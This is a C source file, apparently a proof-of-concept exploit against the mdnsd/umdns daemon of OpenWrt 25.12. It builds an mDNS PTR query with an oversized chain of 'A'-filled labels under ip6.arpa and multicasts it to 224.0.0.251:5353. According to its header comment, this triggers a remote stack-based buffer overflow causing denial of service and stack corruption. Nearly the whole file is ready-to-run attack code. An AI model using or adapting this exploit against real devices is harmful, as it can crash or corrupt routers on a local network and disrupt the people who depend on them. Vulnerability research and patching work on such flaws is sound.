/* owrt-umdns.c
 *
 * Copyright (c) 2026 by <mu-b@digit-labs.org>
 *
 * OpenWrt mdnsd/umdns 25.12 remote DoS / stack corruption PoC
 * by mu-b - Sun Feb 22 2026
 *
 * $Id: owrt-umdns.c 68 2026-03-06 12:39:46Z mu-b $
 *
 * Sends a crafted mDNS PTR query containing an oversized label sequence
 * to the mDNS multicast group (224.0.0.251:5353), triggering a
 * stack-based buffer overflow in OpenWrt's mdnsd / umdns daemon.
 *
 * - Tested on: OpenWrt mdnsd / umdns (affected versions 25.12)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2026!@$!
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define MDNS_PORT               5353
#define MDNS_ADDR               "224.0.0.251"
#define MDNS_MCAST_TTL          255

#define PKT_MAX                 512

static const char target_name[] =
  "AAAAAAAA.AAAAAAAA.AAAAAAAA.AAAAAAAA."
  "AAAAAAAA.AAAAAAAA.AAAAAAAA.ABBBAAAA."
  "AAAAAAAA.AAAAAAAA.AAAAAAAA.AAAAAAAA."
  "AAAAAAAA.AAAAAAAA.ip6.arpa";

static unsigned char dns_header[] = {
  0x00, 0x00,                   /* ID        */
  0x00, 0x00,                   /* Flags     */
  0x00, 0x01,                   /* QDCOUNT=1 */
  0x00, 0x00,                   /* ANCOUNT   */
  0x00, 0x00,                   /* NSCOUNT   */
  0x00, 0x00,                   /* ARCOUNT   */
};

static int
encode_dns_name (unsigned char *buf, const char *name)
{
  int pos = 0;
  const char *p = name;

  while (*p)
    {
      const char *dot = strchr (p, '.');
      int len = dot ? (int) (dot - p) : (int) strlen (p);

      buf[pos++] = (unsigned char) len;
      memcpy (buf + pos, p, len);
      pos += len;

      if (!dot)
        break;
      p = dot + 1;
    }
  buf[pos++] = 0;
  return pos;
}

static int
build_mdns_packet (unsigned char *pkt)
{
  int len = 0;

  memcpy (pkt, dns_header, sizeof dns_header);
  len += sizeof dns_header;

  len += encode_dns_name (pkt + len, target_name);

  /* QTYPE = PTR (12) */
  pkt[len++] = 0x00;
  pkt[len++] = 0x0c;
  /* QCLASS = IN (1) */
  pkt[len++] = 0x00;
  pkt[len++] = 0x01;

  return len;
}

static int
sock_open_mdns (void)
{
  int fd, one = 1, ttl = MDNS_MCAST_TTL;
  struct sockaddr_in bind_addr;

  if ((fd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
    {
      perror ("socket()");
      return (-1);
    }

  setsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);

  if (setsockopt (fd, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof ttl) < 0)
    {
      perror ("setsockopt() IP_MULTICAST_TTL");
      close (fd);
      return (-1);
    }

  memset (&bind_addr, 0, sizeof bind_addr);
  bind_addr.sin_family = AF_INET;
  bind_addr.sin_port = htons (MDNS_PORT);
  bind_addr.sin_addr.s_addr = INADDR_ANY;

  if (bind (fd, (struct sockaddr *) &bind_addr, sizeof bind_addr) < 0)
    {
      perror ("bind()");
      close (fd);
      return (-1);
    }

  return (fd);
}

static int
sock_sendto_mdns (int fd, unsigned char *pkt, int pkt_len)
{
  struct sockaddr_in dst;
  ssize_t sent;

  memset (&dst, 0, sizeof dst);
  dst.sin_family = AF_INET;
  dst.sin_port = htons (MDNS_PORT);
  inet_pton (AF_INET, MDNS_ADDR, &dst.sin_addr);

  sent = sendto (fd, pkt, pkt_len, 0, (struct sockaddr *) &dst, sizeof dst);
  if (sent < 0)
    {
      perror ("sendto()");
      return (-1);
    }

  return ((int) sent);
}

int
main (int argc, char **argv)
{
  unsigned char pkt[PKT_MAX];
  int pkt_len, fd, sent;

  printf ("OpenWrt mdnsd/umdns 25.12 remote stack corruption PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2026!@$!\n\n");

  printf ("* target: %s, dest: %s:%d\n", target_name, MDNS_ADDR, MDNS_PORT);
  printf ("* building DNS packet...");
  pkt_len = build_mdns_packet (pkt);
  printf ("done (%d bytes)\n", pkt_len);

  printf ("* opening mDNS socket...");
  if ((fd = sock_open_mdns ()) < 0)
    exit (EXIT_FAILURE);
  printf ("done\n");

  printf ("* sending PTR query...");
  if ((sent = sock_sendto_mdns (fd, pkt, pkt_len)) < 0)
    {
      close (fd);
      exit (EXIT_FAILURE);
    }
  printf ("done (%d bytes sent)\n", sent);

  close (fd);
  return (EXIT_SUCCESS);
}
